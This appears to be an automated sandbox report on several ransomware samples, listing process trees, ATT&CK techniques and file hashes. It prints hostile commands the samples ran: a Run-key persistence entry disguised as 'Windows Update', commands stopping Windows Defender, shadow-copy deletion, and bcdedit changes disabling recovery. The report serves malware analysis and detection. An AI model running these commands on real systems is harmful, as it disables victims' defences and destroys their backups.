- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win32.Gimemo.ckmc-5a3b18c2b71724c1ec47ef0ad7e568ba87a7ab14f2d228570d73a6a4ae756b32.exe"C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win32.Gimemo.ckmc-5a3b18c2b71724c1ec47ef0ad7e568ba87a7ab14f2d228570d73a6a4ae756b32.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Windows Update" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\7D57AD13E21.exe" /f2⤵
- Modifies registry key
-
-
C:\Users\Admin\AppData\Roaming\7D57AD13E21.exe"C:\Users\Admin\AppData\Roaming\7D57AD13E21.exe"2⤵
-
C:\Users\Admin\AppData\Roaming\7D57AD13E21.exe"C:\Users\Admin\AppData\Roaming\7D57AD13E21.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Roaming\Scegli_nome_allegato.exe"C:\Users\Admin\AppData\Roaming\Scegli_nome_allegato.exe"2⤵
-
-
C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win32.GenericCryptor.czx-605086b511905d825d91e612789c8b6f618c19916b81471893cfdef67f2ac73f.exe"C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win32.GenericCryptor.czx-605086b511905d825d91e612789c8b6f618c19916b81471893cfdef67f2ac73f.exe"1⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\vodoi.exe"C:\Users\Admin\AppData\Local\Temp\vodoi.exe"2⤵
- Blocklisted process makes network request
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\_uinsey.bat" "2⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\audiohd.exeC:\Users\Admin\AppData\Local\Microsoft\audiohd.exe1⤵
- Process spawned unexpected child process
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win32.GenericCryptor.czo-84ebab16756772bad59ed3dceac8f50cef325723e48174135e1ce3b2db545eec.exe"C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win32.GenericCryptor.czo-84ebab16756772bad59ed3dceac8f50cef325723e48174135e1ce3b2db545eec.exe"1⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\vodoi.exe"C:\Users\Admin\AppData\Local\Temp\vodoi.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\sanfdr.bat" "2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win32.GenericCryptor.cys-eef0787ffb5d04a7ad6ac0006b424f3c65d8e3af963f7c98c48915918e037147.exe"C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win32.GenericCryptor.cys-eef0787ffb5d04a7ad6ac0006b424f3c65d8e3af963f7c98c48915918e037147.exe"1⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\vodoi.exe"C:\Users\Admin\AppData\Local\Temp\vodoi.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\yptew.exe"C:\Users\Admin\AppData\Local\Temp\yptew.exe"3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\_uinsey.bat" "2⤵
-
-
C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win32.Gen.iwh-2dac235c17c26b74f20b3b224a34e13bcbe5c35fbc9164799df8600ec51bd24b.exe"C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win32.Gen.iwh-2dac235c17c26b74f20b3b224a34e13bcbe5c35fbc9164799df8600ec51bd24b.exe"1⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\00480\t\EXItbl.bat" "2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win32.Encoder.qdi-07c7450e0b0b788d865ca8db9a8d3c31be26d681f35156970753d629ed32e9a7.exe"C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win32.Encoder.qdi-07c7450e0b0b788d865ca8db9a8d3c31be26d681f35156970753d629ed32e9a7.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Windows\System32\niggaaaahax.exe>nul2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win32.Fury.rl-1a06f471877254c9224c600528bf2c69fa0a6f9f44f75b55170c4858905ee3d3.exe"C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win32.Fury.rl-1a06f471877254c9224c600528bf2c69fa0a6f9f44f75b55170c4858905ee3d3.exe"1⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Subvert Trust Controls: Mark-of-the-Web Bypass
- System Location Discovery: System Language Discovery
- NTFS ADS
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C sc stop VVS2⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C sc stop wscsvc2⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C sc stop WinDefend2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\sc.exesc stop WinDefend3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C sc stop wuauserv2⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C sc stop BITS2⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C sc stop ERSvc2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\sc.exesc stop ERSvc3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C sc stop WerSvc2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\SysWOW64\sc.exesc stop WerSvc3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C vssadmin.exe Delete Shadows /All /Quiet2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C bcdedit /set {default} recoveryenabled No2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win32.Encoder.nxp-32aad8ac1e3515a051245f20f2c2d829aa05b6bd6be37d70ee49076f8dfe1400.exe"C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win32.Encoder.nxp-32aad8ac1e3515a051245f20f2c2d829aa05b6bd6be37d70ee49076f8dfe1400.exe"1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C Del /f /q "C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win32.Encoder.nxp-32aad8ac1e3515a051245f20f2c2d829aa05b6bd6be37d70ee49076f8dfe1400.exe"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win32.Cuba.e-1f8bfcdc5f4c24dd94c93d4bd3440960dc7f84ddf61771fc111a393ec149ace4.exe"C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win32.Cuba.e-1f8bfcdc5f4c24dd94c93d4bd3440960dc7f84ddf61771fc111a393ec149ace4.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe/c del C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win32.Cuba.e-1f8bfcdc5f4c24dd94c93d4bd3440960dc7f84ddf61771fc111a393ec149ace4.exe >> NUL2⤵
-
-
C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win32.Cuba.e-1f8bfcdc5f4c24dd94c93d4bd3440960dc7f84ddf61771fc111a393ec149ace4.exe"C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win32.Cuba.e-1f8bfcdc5f4c24dd94c93d4bd3440960dc7f84ddf61771fc111a393ec149ace4.exe"1⤵
-
C:\Windows\SysWOW64\cmd.exe/c del C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win32.Cuba.e-1f8bfcdc5f4c24dd94c93d4bd3440960dc7f84ddf61771fc111a393ec149ace4.exe >> NUL2⤵
-
-
C:\Windows\system32\mspaint.exe"C:\Windows\system32\mspaint.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\+REcovER+kwixt+.png" /ForceBootstrapPaint3D1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s DsSvc1⤵
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
-
C:\Windows\system32\mspaint.exe"C:\Windows\system32\mspaint.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
Network
MITRE ATT&CK Enterprise v15
Execution
System Services
1Service Execution
1Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Netsh Helper DLL
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Netsh Helper DLL
1Defense Evasion
Direct Volume Access
1Impair Defenses
2Disable or Modify System Firewall
1Indicator Removal
3File Deletion
3Modify Registry
5Subvert Trust Controls
1SIP and Trust Provider Hijacking
1Discovery
Network Service Discovery
1Peripheral Device Discovery
1Query Registry
3Remote System Discovery
1System Information Discovery
4System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
199KB
MD5c5063b3ea96594781d69bd24cb3eeb80
SHA1cf72a537e8b09b38af314b64fb381bb69bc6aee8
SHA2568b85d1968bba3519bf13dd9f50fe002af8c4c188e236b7b72a1db3935769b331
SHA512af64423fd3ce44e07494995f71477cfe394ea6b5813732fa9a4da7098c4f2c984f218cae19eaf74fc93bd146d1832a137283bdc2593dad447cbf4a62c7bd0960
-
Filesize
37KB
MD52d8650b39df7a4f49ca3ad48a46455ba
SHA1b2feec98c13f4319c998eeb6198dafd81e663ae6
SHA2565ac35bc8e4284b3d4397246fae80614c200523f7b497e907cf7f9cabdbe2c9c5
SHA51221fad3bfc98915beb5e0a934f28aca1b04780c82d78da6ce6fbd8d8120581825009aa79b70ed383e3c4f8d608cd2ad65558f604bbb499a785b5ead559e718195
-
Filesize
1KB
MD57e2d4491b550ec29690d6ec25c062086
SHA18f00998d09940e71c292a4146ba3ed70782f6098
SHA256ddbccd7f5e9f9eceb16379fa8291263bb281dc4d9d3cfca4486f6fc203ad016a
SHA512617a8314baa38daf78881700a039dd337957401ddd7693a154fbf334bebcbec13018297941fde9c82b4721cea8a98da24511136d10e1da8535791b79988707de
-
Filesize
681B
MD568a39e30f21f19b436acd13ea6d90155
SHA10f7e7865ed84143511b172117174d249478cdda0
SHA256204bf4993c33b24ba179afb6812de11fdef67ed311feabc1681cf9b4da75cba6
SHA512d44ef05aa10af66f44fed8c9bb61ea23e01f9dded7a837b333b3e6b4b8d5e53e71c55aa7258c01a714a41c3f2d564bf781a2c7b2c74d8d3e5c740439e7091ebb
-
Filesize
584B
MD510830d688264da726734458426d679a6
SHA1f8e714a2a8619e0903560a973ad7fe9f5ead7958
SHA256b2c62634c2d4d11b952336983bd374316bb541c512d4a4172fe3edc89e77b8c7
SHA512c4b9528f977462ea28dd6ae1dac5e9161a496890e6781e3bc6d32e76470d27db01659e1c23d6419bae65e0219876b8c2176ab55eb1d8eb564dad1ff0690af26a
-
Filesize
37KB
MD5b8ac012533d84698080ec2dc117f73d5
SHA1c997919e126ce3673c1826038abd0a1f903b4b1b
SHA2562cb758b8079cad72f1292314e2fe203facbd9cc035c723e11fa9d88cf0561473
SHA512dc762cb2e2c3a783509dfd5bf9e731f49d3a8529524df4021f99e29fde347029039230cd5e0d5fe7825cb6c04ef4a0469c87664829bafb5b8079ae70b8c86d56
-
Filesize
1KB
MD54acc22256630721e204e7fe2bbb7f581
SHA14cbc3046508d1b0fee3524f5dda48917155e3d7b
SHA2566aa3d86aa25e4c9054bc536dcd32bb5e79bfbc58950ad1198192d5cfc9b5b499
SHA512b6b3abdc09adf90ccf202ee83d206e1e8ddd0e205caefd5eb2f0f5151042dc1097ca69470b93c2763cfbaa4c7bc86a3db53e45a129c2b8ae2dd38bd6b6603300
-
Filesize
36KB
MD5b30d3becc8731792523d599d949e63f5
SHA119350257e42d7aee17fb3bf139a9d3adb330fad4
SHA256b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3
SHA512523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e
-
Filesize
56KB
MD5752a1f26b18748311b691c7d8fc20633
SHA1c1f8e83eebc1cc1e9b88c773338eb09ff82ab862
SHA256111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131
SHA512a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5
-
Filesize
64KB
MD5fed441e1393f857170215fe17cdd32ce
SHA16f36e5fd651625bc20ca50789331a49b11b3b0c1
SHA2565582ea9f9cd1e0b12127da9d05985d535b5f7d175b6cbf289bc45ae2f1abd176
SHA5124d75a71fd393e87d6787fcb1490da7c972930aaa1830c04c18b4cfda54457880c7f3e18a693cfc4294674e8efc4cab2a9f4ac7b9bd7b9775aa9f5febfce285b9
-
Filesize
12KB
MD57d932c1bfee9bea2fe55ce179b640f2e
SHA1f50dd362094061998bbd2829db901be968abd546
SHA25681d9db75cfafa9f69c63f8627335aea841d4d2c8ffdc1ea1dcba2521fe220642
SHA5127e022c3fdfdcb798479cbed6c54be95f790a33fb84962613a8fc5fe7036339f883cdef0fb817883edec0d12802314a20a03a4949aa60a91406e0cff4b351e309
-
Filesize
64KB
MD5d2fb266b97caff2086bf0fa74eddb6b2
SHA12f0061ce9c51b5b4fbab76b37fc6a540be7f805d
SHA256b09f68b61d9ff5a7c7c8b10eee9447d4813ee0e866346e629e788cd4adecb66a
SHA512c3ba95a538c1d266beb83334af755c34ce642a4178ab0f2e5f7822fd6821d3b68862a8b58f167a9294e6d913b08c1054a69b5d7aec2efdb3cf9796ed84de21a8
-
Filesize
4B
MD5f49655f856acb8884cc0ace29216f511
SHA1cb0f1f87ec0455ec349aaa950c600475ac7b7b6b
SHA2567852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba
SHA512599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8
-
Filesize
944B
MD56bd369f7c74a28194c991ed1404da30f
SHA10f8e3f8ab822c9374409fe399b6bfe5d68cbd643
SHA256878947d0ec814fe7c343cdebc05eebf00eb14f3023bdb3809a559e17f399fe5d
SHA5128fc5f073dc9fa1e1ae47c60a5f06e0a48709fd6a4302dffaa721858409e7bde64bc6856d3fb28891090516d1a7afc542579de287778b5755eafe75cc67d45d93
-
Filesize
1KB
MD555e4d8ff2faa23b9893283c231f087cc
SHA1420bdb0f1eeeb6ef0b46a369452843e2c6cc9a95
SHA256e032b3ac9dff6ad129b2a11f42feaf1844a987d822361ae3541027ccb48cc33d
SHA5120a33781317053c7e7992bfc8f2f6f2620d5b1191d28919cdba61459734d4f85a9b16d2dbc5129a6391fed17526d7bdc92663931d2d5823fa4d363462e1587ebb
-
Filesize
75KB
MD5a3e88555a8c978b92fb1d20aba6c4cf1
SHA1f21c4699613f002a9354c692290438e4a5952947
SHA256481d2ec9530e17f530f053c5f62e0192470071836a9661337825918c72cd01d8
SHA5128d743a01ca0111291c79658f071b93f20669b59ef8b48481c8d8664b80685c7a12649300612de840591175024d648015c02ef228f8f998385d26bf2fba65a87d
-
Filesize
2.0MB
MD5ad04905c729c25cd5737e2fd251199c8
SHA10dd290f48d92f72735349d93e3afa8d7eed642ed
SHA256713d3f421c4125485562e64fc2e0494b8feaa40b9e7408f0aa1413d3c7c17da6
SHA5121cf64250dbdaf8fc54b6b5b61d389a1f0a288b87702608347f7626e8ba5c528deaaa51c4b8b572dd44af2da82577b16ccf917cf1a466de6b395f1d6b78340697
-
Filesize
90KB
MD51baab9715025cf6f5dbbf904e1dd307e
SHA15fbfcc78ec81a27adc926becab8a63d4fd8543a9
SHA256c4da7fe8fb8d3b8f2c03b9273431fab3ebbed12ced442767e000a1034f378125
SHA512ac1fc5613338827c865de8c649bf45c3fed896da7e6670e014032f3ef60061e865d030cc09cfee033c38dde5e7f0b271f793041a4802832b55e7c87cf99707c8
-
Filesize
3.3MB
MD573404d7ba425931ac4e01bf368ad0f29
SHA12e56454080d7b61bab26c788b2f0d878a15a849d
SHA256c49cec63a8e8707bac8c360dbd6ee76dd97743a3474217fc9d97cf173e82bd31
SHA512bd09d2013444fa42e4a270c44c17aa10eb144c320c5133a66f25fb50ca72c137e276c89fd0002db37b01e9ad47b7b7b104cb755cdb66d17813a8471851d9e313
-
Filesize
1KB
MD509f1f92d09837b363bd4016a224ed20f
SHA17cbc3a95fd032e504d53adf1fe87a6b5dac73685
SHA256d0821c48ebe5f17f6be998c3ecc3d5049942d414545d079f87b54fdb0469f4c0
SHA512511f27f5fb11c889e85163b17502f29c13a36869ab851f892a913e818daf1a14a48f5b77117e9c5d5ad1af2448b12b6d627124ec7a0b2ff4d89fabb56a83d10f
-
Filesize
49KB
MD598c84771b43613b5f2e7f402488cabd2
SHA1da4e1cd46b43d192f5fa2ceff02291c833863055
SHA256e7aadad889cd73e8b83315e4c26ce6bfefe3695e0cef43e73be4141d7de9a6eb
SHA51296ce6085075414ffae7403fbb930c46f959e5980dfc66c96879f0dc138f9cdfa3911972974416fcc4899e67c2e4b5a10b29afd2816c6a877af4131335318cbbb
-
Filesize
6KB
MD5e8aa55f8d57f97330a54d84e65722996
SHA125ffe233c7a4bf638d73d86ea160f66a4123f5a8
SHA2560e2c3267cfa7157936d4d2f29b90d070d2e1e602439fee68134add954afdc178
SHA5128a67db6b2b11f29c8b3fb5a633dbf326c00d1efd87e07df83140c16f64d3fc5376234026b0c92cb3c663717d14cb91070a4cd65f4bbef61cacd97858ea62806e
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
535KB
